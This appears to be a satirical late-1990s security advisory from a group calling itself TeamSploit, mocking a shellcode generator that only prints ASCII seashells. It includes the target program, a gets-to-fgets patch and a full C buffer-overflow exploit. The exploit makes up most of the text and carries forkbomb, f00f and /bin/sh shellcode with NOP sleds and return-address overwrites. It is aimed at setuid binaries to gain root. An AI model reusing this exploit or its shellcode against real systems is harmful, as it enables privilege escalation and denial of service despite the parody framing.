Shellgen.c, a shellcode generator by Mixter, has an exploitable buffer overflow. Advisory and exploit included.
f9af914ed4f6d7e9ae83c7c95a95cf1681836c618aaf93983b1bcb0864e4261f
[TeamSploit Advisory]
[Begin PDP-11 SIGNED MESSAGE]
TeamSploit labs : https://el8.n3.net
Also check out our Security E-ZINE at https://el8.n3.net
Hello folks, this is TeamSploit (TM), we have noticed an overflow in
shellgen.c . Shellgen.c is an advanced shellcode generator, which is
widely used by the 'hacking-community'.
Shellgen.c can be found at 1337.tsx.org (Mixter Security *sigh*)
Problem:
Shellgen.c uses gets (which is very unsafe, so i've heard)
('ld: gets() is unsafe' errors!)
A malicious user may obtain SUPER_USER [1] privledges by using
the appended exploit. This is a multiplatform vulnerability.
If shellgen.c is run setuid root, a user may obtain root
privledges thus compromising a system.
Example:
TSlabs$ ./shellgen
Generate shell code for: (solaris/linux/bsd/win32)? 1million i's
Segmentation Fault, core dumped.
TSlabs$ rm shellgen ; reboot
Possible fixes:
Use the patch provided by TSlabs (TM).
Thurly remove shellgen.c and shellgen binaries from system.
TSlabs$ find / -name shellgen.c
DO NOT RUN SETUID ROOT!
Rewrite libc.
[1] SUPERUSER - GOD ACCESS - UID 0 - CAN RM -RF /
This has been a TeamSploit advisory, much respect due to:
gH (global hell), PERSUiT, f0rpaxe, Team HAckphreak ( and
hackphreak labs ), w00w00, ADM, !r00t, b4b0, www.antionline.com,
www.deathrowrecords.com.
[Appended actual program, possible patch.diff, and exploit]
PROGRAM:
/* shellcode generator
by Mixter
PRIVATE - DO NOT DISTRIBUTE!
*/
char *welk=
"\x20\x20\x20\x20\x20\x20\x20\x2f\x5c\x0a\x20\x20\x20\x20\x20\x20\x7b\x2e"
"\x2d\x7d\x0a\x20\x20\x20\x20\x20\x3b\x5f\x2e\x2d\x27\x5c\x0a\x20\x20\x20"
"\x20\x7b\x20\x20\x20\x20\x5f\x2e\x7d\x5f\x0a\x20\x20\x20\x20\x20\x5c\x2e"
"\x2d\x27\x20\x2f\x20\x20\x60\x2c\x0a\x20\x20\x20\x20\x20\x20\x5c\x20\x20"
"\x7c\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x7c\x20"
"\x20\x2c\x2f\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x5c\x7c\x5f\x2f\x0a";
char *ark=
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f"
"\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x27\x22\x22\x2e\x27\x2f\x7c\x5c\x60"
"\x2e\x22\x22\x27\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x20\x20\x2e\x27\x20"
"\x2f\x20\x7c\x20\x5c\x20\x60\x2e\x20\x20\x3a\x0a\x20\x20\x20\x20\x20\x20"
"\x27\x2e\x27\x20\x20\x2f\x20\x20\x7c\x20\x20\x5c\x20\x20\x60\x2e\x27\x0a"
"\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x2f\x20\x20\x20\x7c\x20\x20\x20"
"\x5c\x20\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2d\x2e\x5f"
"\x5f\x7c\x5f\x5f\x2e\x2d\x27\x0a";
char *clam=
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x2d\x2d\x2e\x5f"
"\x0a\x20\x20\x20\x20\x20\x20\x20\x2e\x3a\x22\x3a\x5f\x27\x2d\x2e\x2d\x60"
"\x5f\x3a\x22\x3a\x2e\x0a\x20\x20\x20\x20\x20\x20\x3a\x60\x2e\x60\x2e\x5f"
"\x27\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x3a\x0a\x20\x20\x20\x20\x20\x20"
"\x27\x60\x2e\x60\x2e\x5f\x60\x2d\x2e\x2d\x27\x5f\x2e\x27\x2e\x27\x27\x0a"
"\x20\x20\x20\x20\x20\x20\x20\x60\x2e\x60\x2d\x2e\x60\x2d\x2e\x2d\x27\x2e"
"\x2d\x27\x2e\x27\x0a\x20\x20\x20\x20\x6a\x67\x73\x20\x20\x60\x2e\x5f\x60"
"\x2d\x2e\x2d\x27\x5f\x2e\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x60\x27\x27\x27\x60\x0a";
char *scallop=
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5f\x2e\x2d\x27\x27\x7c\x27"
"\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x2d\x27\x20\x20"
"\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x60\x2d\x2e\x0a\x20\x20\x20\x20\x20"
"\x20\x2e\x27\x5c\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20"
"\x20\x2f\x60\x2e\x0a\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x5c\x20\x20\x20"
"\x20\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x2f\x20\x20\x20\x60\x2e\x0a\x20"
"\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x20\x7c\x20\x20"
"\x20\x20\x20\x2f\x20\x20\x20\x20\x20\x2f\x0a\x20\x20\x20\x20\x20\x60\x5c"
"\x20\x20\x20\x20\x5c\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x2f\x20\x20\x20"
"\x20\x2f\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x60\x5c\x20\x20\x20\x5c\x20"
"\x20\x20\x7c\x20\x20\x20\x2f\x20\x20\x20\x2f\x27\x0a\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x60\x5c\x20\x20\x5c\x20\x20\x7c\x20\x20\x2f\x20\x20\x2f"
"\x27\x0a\x20\x20\x20\x6a\x67\x73\x20\x20\x5f\x2e\x2d\x60\x5c\x20\x5c\x20"
"\x7c\x20\x2f\x20\x2f\x27\x2d\x2e\x5f\x0a\x20\x20\x20\x20\x20\x20\x20\x7b"
"\x5f\x5f\x5f\x5f\x5f\x60\x5c\x5c\x7c\x2f\x2f\x27\x5f\x5f\x5f\x5f\x5f\x7d";
void
main()
{
char buf[1024];
printf("Generate shell code for: (solaris/linux/bsd/win32)? ");
gets(buf);
printf("Generating shell code...\n");
if(strstr(buf,"solaris")) puts(welk);
if(strstr(buf,"linux")) puts(ark);
if(strstr(buf,"bsd")) puts(clam);
if(strstr(buf,"win32")) puts(scallop);
printf("done!\n");
}
PATCH:
TSlabs$ cat TeamSploit_shellgen.c.diff
--- shellgen.c Wed Dec 29 22:00:28 1999
+++ new.c Wed Dec 29 23:05:09 1999
@@ -54,7 +54,7 @@
{
char buf[1024];
printf("Generate shell code for: (solaris/linux/bsd/win32)? ");
-gets(buf);
+fgets(buf,80,stdin);
printf("Generating shell code...\n");
if(strstr(buf,"solaris")) puts(welk);
if(strstr(buf,"linux")) puts(ark);
TSlabs$
EXPLOIT:
--`cut here`--
/* * *
* This is a TeamSploit production
* exploit for shellgen.c ( please read the advisory attatched )
* ./shellgen_exp ...
* TeamSploit labs : https://el8.n3.net
* * */
#include <stdio.h>
#define THE_OFFSET_IS 256
#define THE_BUFFER_IS 1024
#define LEEWAY 8
unsigned char f00f_shellcode[] = { 0xF0, 0x0F };
unsigned char forkbomb_shellcode[] =
{ 0xb0, 0x02, 0xcd, 0x80, 0xeb, 0xfa };
unsigned char generic_shellcode[] = { 0x41 };
unsigned char sh_shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
unsigned char ls_shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/ls";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void usage(void)
{
puts("./shellgen <shellcode_num> <program> <offset> (optional)");
puts("1 = f00f");
puts("2 = forkbomb");
puts("3 = generic");
puts("4 = shell");
puts("5 = ls");
exit(31337);
}
int main(int argc, char *argv[])
{
FILE *m1xt3r;
unsigned int c, offset;
char *prognam, tuff[THE_BUFFER_IS + LEEWAY];
unsigned long addr;
if (argc < 3) {
usage();
}
c = atoi(argv[1]);
switch (c) {
case 1:
puts("F00F SHELLCODE CHOSEN");
break;
case 2:
puts("FORKBOMB SHELLCODE CHOSEN (PREMIUM CHOICE)");
break;
case 3:
puts("GENERIC SHELLCODE (provided by gH thnx)");
break;
case 4:
puts("RUN A SHELL (good for when shellgen is +s root)");
break;
case 5:
puts("LS SHELLCODE (INCASE LS IS BACKDOORED)");
break;
default:
usage();
}
prognam = argv[2];
if (argc >= 4)
offset = atoi(argv[3]);
else
offset = THE_OFFSET_IS;
printf("ADDRESS = 0x%x, OFFSET = 0x%x\n", get_sp(), get_sp() + offset);
if ((m1xt3r = popen(prognam, "w")) == NULL) {
perror("p o p e n");
exit(0);
}
addr = get_sp();
if (c == 1) { /* f00f shellcode */
for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
*(unsigned long *) (tuff + c) = addr + offset;
memset(tuff, 0x90, THE_BUFFER_IS - strlen(f00f_shellcode));
memcpy(&tuff[THE_BUFFER_IS - strlen(f00f_shellcode)],
f00f_shellcode, strlen(f00f_shellcode));
*(tuff + THE_BUFFER_IS + LEEWAY) = 0;
}
else if (c == 2) {
for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
*(unsigned long *) (tuff + c) = addr + offset;
memset(tuff, 0x90, THE_BUFFER_IS - strlen(forkbomb_shellcode));
memcpy(&tuff[THE_BUFFER_IS - strlen(forkbomb_shellcode)],
forkbomb_shellcode, strlen(forkbomb_shellcode));
*(tuff + THE_BUFFER_IS + LEEWAY) = 0;
}
else if (c == 3) {
memset(tuff, generic_shellcode[0], sizeof(tuff));
}
else if (c == 4) {
for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
*(unsigned long *) (tuff + c) = addr + offset;
memset(tuff, 0x90, THE_BUFFER_IS - strlen(sh_shellcode));
memcpy(&tuff[THE_BUFFER_IS - strlen(sh_shellcode)],
sh_shellcode, strlen(sh_shellcode));
*(tuff + THE_BUFFER_IS + LEEWAY) = 0;
}
else if (c == 5) {
for (c = THE_BUFFER_IS; c < THE_BUFFER_IS + LEEWAY; c += 4)
*(unsigned long *) (tuff + c) = addr + offset;
memset(tuff, 0x90, THE_BUFFER_IS - strlen(ls_shellcode));
memcpy(&tuff[THE_BUFFER_IS - strlen(ls_shellcode)],
ls_shellcode, strlen(ls_shellcode));
*(tuff + THE_BUFFER_IS + LEEWAY) = 0;
} else
usage();
puts("Get ready, we are about to exploit shellgen, hold on tight");
fprintf(m1xt3r, "%s", tuff);
if (pclose(m1xt3r) < 0) {
perror("pclose");
exit(-1);
}
return 0;
}